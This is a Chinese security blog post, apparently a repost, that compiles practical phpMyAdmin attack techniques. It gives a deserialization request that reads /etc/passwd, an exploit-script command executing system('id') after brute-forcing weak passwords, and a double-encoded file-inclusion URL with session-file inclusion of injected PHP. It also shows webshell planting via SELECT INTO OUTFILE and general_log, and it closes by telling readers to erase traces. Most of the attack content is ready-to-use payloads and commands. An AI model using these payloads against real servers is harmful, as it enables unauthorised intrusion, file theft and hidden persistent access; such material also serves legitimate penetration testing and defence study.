【攻防实战】phpmyadmin-RCE集锦

admin 2025年6月8日09:13:29评论12 views字数 1796阅读5分59秒阅读模式

「phpmyadmin反序列化漏洞」

「漏洞描述」

phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。

「影响范围」

2.x

「实战过程」

访问

http://x.x.x
【攻防实战】phpmyadmin-RCE集锦

抓包,修改发送如下数据包,即可读取/etc/passwd:

POST /scripts/setup.php HTTP/1.1

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

漏洞证明:

【攻防实战】phpmyadmin-RCE集锦

「phpmyadmin远程代码执行漏洞」

「漏洞描述」

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用�进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

「影响范围」

4.0.10.16之前4.0.x版本

4.4.15.7之前4.4.x版本

4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

「实战过程」

访问该页面,存在弱口令

http://x.x.x
【攻防实战】phpmyadmin-RCE集锦

爆破进入后发现该php版本以及phpmyadmin版本信息,该版本存在远程命令执行漏洞。

【攻防实战】phpmyadmin-RCE集锦

使用exp利用此漏洞:

-u是用户 -p是密码,-d是可以写入的数据库,没有就新建一个。-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为prgpwn的表。

python3 xxx.py http://x.x.x/ -u xxx -p xxx -d test -c "system('id');"
【攻防实战】phpmyadmin-RCE集锦

成功执行命令,并且在test数据库下创建了一个名为prgpwn的表

【攻防实战】phpmyadmin-RCE集锦

「phpmyadmin远程文件包含漏洞」

「漏洞简介」

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

「漏洞实战」

访问url,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。

http://x.x.x
【攻防实战】phpmyadmin-RCE集锦

构造任意文件读取的payload并进行访问:

http://x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可见/etc/passwd被读取,说明文件包含漏洞存在:

【攻防实战】phpmyadmin-RCE集锦

利用方式也比较简单,访问SQL语句的执行页面,可以执行一下

SELECT '<?=phpinfo()?>

然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可。

访问SQL语句的执行页面:

执行一下

SELECT '<?=phpinfo()?>
【攻防实战】phpmyadmin-RCE集锦

然后查看自己的sessionid(cookie中phpMyAdmin的值)

【攻防实战】phpmyadmin-RCE集锦

然后包含session文件:

http://x.x.x/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_xxxxx...  

成功包含phpinfo页面:

【攻防实战】phpmyadmin-RCE集锦

「select into outfile写入webshell」

首先查看查看secure_file_priv值

show global variables like '%secure%';

secure_file_priv的值如图所示

【攻防实战】phpmyadmin-RCE集锦

写入一句话

select 'xxx' INTO OUTFILE 'xxx.php'

这里需要注意的一个点是路径需要用”“

【攻防实战】phpmyadmin-RCE集锦

成功连接webshell

【攻防实战】phpmyadmin-RCE集锦

「phpmyadmin日志写入webshell」

先查看general log是否开启

show variables like '%general%';

打开general_log日志读写功能

【攻防实战】phpmyadmin-RCE集锦

制作一个木马文件,要根据图中general_log_file中的绝对路径

SET GLOBAL general_log_file='xxx.php'
【攻防实战】phpmyadmin-RCE集锦

往这个木马文件中写入一句话

SELECT 'xxx'
【攻防实战】phpmyadmin-RCE集锦

使用phpinfo验证

利用过程

【攻防实战】phpmyadmin-RCE集锦

蚁剑连接

【攻防实战】phpmyadmin-RCE集锦

最后抹除痕迹

原文始发于微信公众号(平凡安全):【攻防实战】phpmyadmin-RCE集锦

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日09:13:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【攻防实战】phpmyadmin-RCE集锦https://cn-sec.com/archives/4145365.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息